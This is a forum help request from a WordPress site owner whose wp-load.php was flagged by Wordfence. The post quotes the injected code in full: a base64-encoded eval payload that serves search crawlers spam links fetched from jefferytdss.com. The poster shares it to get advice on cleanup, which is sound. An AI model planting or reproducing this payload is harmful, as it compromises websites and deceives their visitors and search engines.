WordFence Security
-
The wp-load.php file was modified. I received this message: This file may contain malicious executable code: /var/www/vhosts/nationwideenv.com/httpdocs/wp-load.php
The modification is shown below. I restored the original file as the modified version appears to be gobble-dee-gook! Is anyone able to advise me of whether I made the correct choice and how this might have happened?
Thank you.
/* CACHESET-DIRECT */ eval(base64_decode(“ICBpZiAocHJlZ19tYXRjaCgnI2dvb2dsZXxiaW5nfHlhaG9vfGFvbHxhc2t8Ym90fG1zbmJvdHxCYWlkdXwnLiAgICAnc3BpZGVyfGNyYXdsZXJ8d29yZHByZXNzfE1KMTJib3R8VmFnYWJvbmRvfCcuICAgICdZYW5kZXh8QWhyZWZzfGZhY2Vib29rfENNUmFkYXJ8SmFrYXJ0YXxHaWdhYmxhc3RPcGVuU291cmNlfCcuICAgICdDTVJhZGFyfE1lY2hhbml6ZXxGZWVkQnVybmVyI3NpJyxAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgICB7ICAgJHVybCA9ICdodHRwOi8vamVmZmVyeXRkc3MuY29tLyc7ICAgJHJwID0gJ2h0dHA6Ly8nLkAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5AJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICAgICBjdXJsX3NldG9wdCgkY2hjPWN1cmxfaW5pdCgkcnApLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgICBjdXJsX3NldG9wdCgkY2hjLCBDVVJMT1BUX0hFQURFUiwgMCk7ICAgY3VybF9zZXRvcHQoJGNoYywgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7ICAgJG91dCA9IHRyaW0oY3VybF9leGVjKCRjaGMpKTsgICAgIGlmICgkb3V0ICE9ICcnKSAgICB7ICAgICRoYXNoID0gbWQ1KCRycCk7ICAgICAgJHJlZiA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAkcmVmID0gc3RyX3JlcGxhY2UoJ3d3dy4nLCcnLCRyZWYpOyAgICAgICRxID0gcnRyaW0oJHVybCwnIC8nKS4nL2dldGxpbmtzLnBocD9yZWY9Jy51cmxlbmNvZGUoJHJlZik7ICAgICAgY3VybF9zZXRvcHQoJGNobD1jdXJsX2luaXQoJHEpLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgICAgY3VybF9zZXRvcHQoJGNobCwgQ1VSTE9QVF9IRUFERVIsIDApOyAgICBjdXJsX3NldG9wdCgkY2hsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgICAgJGxvdXQgPSBjdXJsX2V4ZWMoJGNobCk7ICAgICAgJGxua3MgPSBAZXhwbG9kZSgiXG4iLCRsb3V0KTsgICAgaWYgKCFpc19hcnJheSgkbG5rcykgfHwgY291bnQoJGxua3MpPT0wKSAgICAgeyAgICAgZGllKCRvdXQpOyAgICAgfSAgICAgICRhcnIgPSBhcnJheSgpOyAgICBmb3JlYWNoICgkbG5rcyBhcyAkbG5rKSAgICAgeyAgICAgJHRlbXAgPSBleHBsb2RlKCc9PT4nLCRsbmspOyAgICAgJGFycltdID0gJHRlbXA7ICAgICB9ICAgICAgaWYgKHN1YnN0cigkYXJyWzBdWzBdLDAsMTIpPT0ndGVzdC1saW5raW5nJykgICAgIHsgICAgICRhcnJbMF1bMF0gPSAnPCEtLSAnLnN1YnN0cigkYXJyWzBdWzBdLDEyKS4nIC0tPic7ICAgICAkYXJyWzBdWzFdID0gJzAnOyAgICAgJGFyclswXVsyXSA9ICcwJzsgICAgIH0gICAgICAkYnJlZyA9ICcjKDxib2R5Lis8L2JvZHk+KSNzaSc7ICAgICAgaWYgKHByZWdfbWF0Y2goJGJyZWcsJG91dCwkYnJlcykpICAgICB7ICAgICAkYm9keSA9ICRicmVzWzFdOyAgICAgICAkYnJlc3MgPSAnIyhcPGJvZHlbXj5dKlw+KSNzaSc7ICAgICAkYnJlc2UgPSAnI1w8XC9ib2R5XD4jc2knOyAgICAgICBmb3JlYWNoICgkYXJyIGFzICRvbmVsKSAgICAgIHsgICAgICAkbGluayA9IHRyaW0oJG9uZWxbMF0pOyAgICAgICRwb3MgID0gJG9uZWxbMV07ICAgICAgJHN1Yl9wb3MgPSAkb25lbFsyXTsgICAgICAgIGlmICgkbGluaz09JycpIGNvbnRpbnVlOyAgICAgICAgJGJyZXBzID0gJyQxICcuJGxpbmsuJyAnOyAgICAgICRicmVwZSA9ICcgJy4kbGluay4nIDwvYm9keT4nOyAgICAgICAgJHRzYXJyID0gYXJyYXkoKTsgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0Lis/PC9zY3JpcHQ+I3NpJywkYm9keSwkdHNyZXMpPjApICAgICAgIHsgICAgICAgZm9yICgkdGk9MDskdGk8Y291bnQoJHRzcmVzWzBdKTskdGkrKykgICAgICAgIHsgICAgICAgICRib2R5ID0gcHJlZ19yZXBsYWNlKCcjPHNjcmlwdC4rPzwvc2NyaXB0PiNzaScsJ1tTQ1InLiR0aS4nXScsJGJvZHksMSk7ICAgICAgICAkdHNhcnJbJHRpXSA9ICR0c3Jlc1swXVskdGldOyAgICAgICAgfSAgICAgICB9ICAgICAgJHRlZSA9IGV4cGxvZGUoJzwvcD4nLCRib2R5KTsgICAgICAgICAgaWYgKGNvdW50KCR0ZWUpPjEpICAgICAgIHsgICAgICAgJGtleSA9IGZsb29yKChjb3VudCgkdGVlKSkqJHBvcy8xMDApLTE7ICAgICAgICRibG9jayA9ICR0ZWVbJGtleV07ICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8cCcpICAgICAgICB7ICAgICAgICAkYXZnbGVuID0gMDsgICAgICAgICRhdmdjYyA9IDA7ICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICB7ICAgICAgICAgJHR2ID0gJHRlZVskdGtdOyAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgIGlmICgkb25lbGVuPjApICAgICAgICAgIHsgICAgICAgICAgJGF2Z2xlbiArPSAkb25lbGVuOyAgICAgICAgICAkYXZnY2MrKzsgICAgICAgICAgfSAgICAgICAgIH0gICAgICAgICRhdmcgPSBjZWlsKCRhdmdsZW4vJGF2Z2NjKTsgICAgICAgICAgaWYgKCRhdmc+MCkgICAgICAgICB7ICAgICAgICAgJHRvcmFuZCA9IGFycmF5KCk7ICAgICAgICAgZm9yICgkdGs9MTskdGs8PWNvdW50KCR0ZWUpLTE7JHRrKyspICAgICAgICAgIHsgICAgICAgICAgJHR2ID0gJHRlZVskdGtdOyAgICAgICAgICAkb25lbGVuID0gc3RybGVuKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKGFycmF5KCcjXi4qP1w8cCNzaScsJyNbXHNdKyNzaScpLGFycmF5KCc8cCcsJycpLCR0dikpKTsgICAgICAgICAgaWYgKCRvbmVsZW4+PSRhdmcpICR0b3JhbmRbXSA9ICR0azsgICAgICAgICAgfSAgICAgICAgICRrZXkgPSBmbG9vcihjb3VudCgkdG9yYW5kKSokcG9zLzEwMCk7ICAgICAgICAgICAkYmxvY2sgPSAkdGVlWyR0b3JhbmRbJGtleV1dOyAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNcL3A+I3NpJywkYmxvY2spKSAkYmxvY2sgPSBwcmVnX3JlcGxhY2UoJyNcL3A+I3NpJywgJy9wPicuIlxyXG4iLiRsaW5rLCAkYmxvY2spOyAgICAgICAgIGVsc2UgJGJsb2NrID0gJGJsb2NrLiJcclxuIi4kbGluazsgICAgICAgICAgICR0ZWVbJHRvcmFuZFska2V5XV0gPSAkYmxvY2s7ICAgICAgICAgfSAgICAgICAgZWxzZSAgICAgICAgIHsgICAgICAgICAkdGVlWyRrZXldID0gJHRlZVska2V5XS4iXHJcbiIuJGxpbms7ICAgICAgICAgfSAgICAgICAgfSAgICAgICBlbHNlICAgICAgICB7ICAgICAgICAkcnRlbXBzID0gYXJyYXkoKTsgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeKC4rKTxwW14+XSo+I3NpJywkYmxvY2ssJHByZXNzKSkgICAgICAgICB7ICAgICAgICAgJHJ0ZW1wc1snUCddID0gJHByZXNzWzFdOyAgICAgICAgICRibG9jayA9IHByZWdfcmVwbGFjZSgnI14oLispKDxwW14+XSo+KSNzaScsICdbVEVNUFMtUF0kMicsICRibG9jaywgMSk7ICAgICAgICAgfSAgICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyMoPFtePl0rPikjc2knLCAkYmxvY2ssICR0ZW1wcyk+MCkgICAgICAgICB7ICAgICAgICAgZm9yKCR0c2k9MDskdHNpPGNvdW50KCR0ZW1wc1sxXSk7JHRzaSsrKSAgICAgICAgICB7ICAgICAgICAgICRibG9jayA9IHByZWdfcmVwbGFjZSgnIyg8W14+XSo+KSNzaScsICdbVEVNUFMtJy4kdHNpLiddJywgJGJsb2NrLCAxKTsgICAgICAgICAgJHJ0ZW1wc1skdHNpXSA9ICR0ZW1wc1sxXVskdHNpXTsgICAgICAgICAgfSAgICAgICAgIH0gICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8YScpICAgICAgICAgeyAgICAgICAgICR0YmwgPSBleHBsb2RlKCcgJywkYmxvY2spOyAgICAgICAgICRia2V5ID0gZmxvb3IoKGNvdW50KCR0YmwpLTIpKiRzdWJfcG9zLzEwMCkrMTsgICAgICAgICAkdGJsWyRia2V5XSAuPSAnICcuJGxpbms7ICAgICAgICAgJGJsb2NrID0gaW1wbG9kZSgnICcsJHRibCk7ICAgICAgICAgICAkdGVlWyRrZXldID0gJGJsb2NrOyAgICAgICAgIH0gICAgICAgIGVsc2UgICAgICAgICB7ICAgICAgICAgJGVucmVnID0gJyNbXC5cIVw/XXsxLDN9W1xzXSsjc2knOyAgICAgICAgIGlmICgoJHNlbnNfY2MgPSBwcmVnX21hdGNoX2FsbCgkZW5yZWcsJGJsb2NrLCRlbnJlcykpPjApICAgICAgICAgIHsgICAgICAgICAgJHNlbnBvc0dBR0EgPSBmbG9vcigkc2Vuc19jYyokc3ViX3Bvcy8xMDApOyAgICAgICAgICAkY291bnRlckdBR0EgPSAwOyAgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJGVucmVnLCBmdW5jdGlvbigkcmVzc3MpeyAgICAgICAgICAgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgICAgICAgICAgaWYgKCRjb3VudGVyR0FHQT09JHNlbnBvc0dBR0EpICRyZXQgPSAkcmVzc3NbMF0uJGxpbmsuJyAnOyAgICAgICAgICAgIGVsc2UgJHJldCA9ICRyZXNzc1swXTsgICAgICAgICAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgICAgICAgICAgcmV0dXJuICRyZXQ7ICAgICAgICAgICAgICB9LCRibG9jayk7ICAgICAgICAgIH0gICAgICAgICBlbHNlICAgICAgICAgIHsgICAgICAgICAgJGJsb2NrIC49ICcgJy4kbGluazsgICAgICAgICAgfSAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICB9ICAgICAgICAgIGlmIChjb3VudCgkcnRlbXBzKT4wKSBmb3JlYWNoKCRydGVtcHMgYXMgJGs9PiR2KSAkYmxvY2sgPSBzdHJfcmVwbGFjZSgnW1RFTVBTLScuJGsuJ10nLCAkdiwgJGJsb2NrKTsgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgIH0gICAgICAgICAkYm9keSA9IGltcGxvZGUoJzwvcD4nLCR0ZWUpOyAgICAgICB9ICAgICAgZWxzZSAgICAgICB7ICAgICAgICRyZWcgPSAoJHN1Yl9wb3M+NTApID8gJGJyZXNzIDogJGJyZXNlOyAgICAgICAkcmVwID0gKCRzdWJfcG9zPjUwKSA/ICRicmVwcyA6ICRicmVwZTsgICAgICAgJGJvZHkgPSBwcmVnX3JlcGxhY2UoJHJlZywkcmVwLCRib2R5LDEpOyAgICAgICAgICAgICB9ICAgICAgICBpZiAoY291bnQoJHRzYXJyKT4wKSAgICAgICB7ICAgICAgIGZvcmVhY2goJHRzYXJyIGFzICRrPT4kdikgICAgICAgIHsgICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoJ1tTQ1InLiRrLiddJywkdiwkYm9keSk7ICAgICAgICB9ICAgICAgIH0gICAgICAgICAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnJCcsJ1wkJywkYm9keSk7ICAgICAgfSAgICAgICAkb3V0ID0gcHJlZ19yZXBsYWNlKCRicmVnLCRib2R5LCRvdXQsMSk7ICAgICB9ICAgIGVsc2UgICAgIHsgICAgIGZvcmVhY2ggKCRhcnIgYXMgJG9uZWwpICAgICAgeyAgICAgICRsaW5rID0gJG9uZWxbMF07ICAgICAgJG91dCAuPSAnPGJyPicuJGxpbms7ICAgICAgfSAgICAgfSAgICAgIGRpZSgkb3V0KTsgICAgIH0gICB9ICAgIA==”)); /* /CACHESET-DIRECT */
- The topic ‘WordFence Security’ is closed to new replies.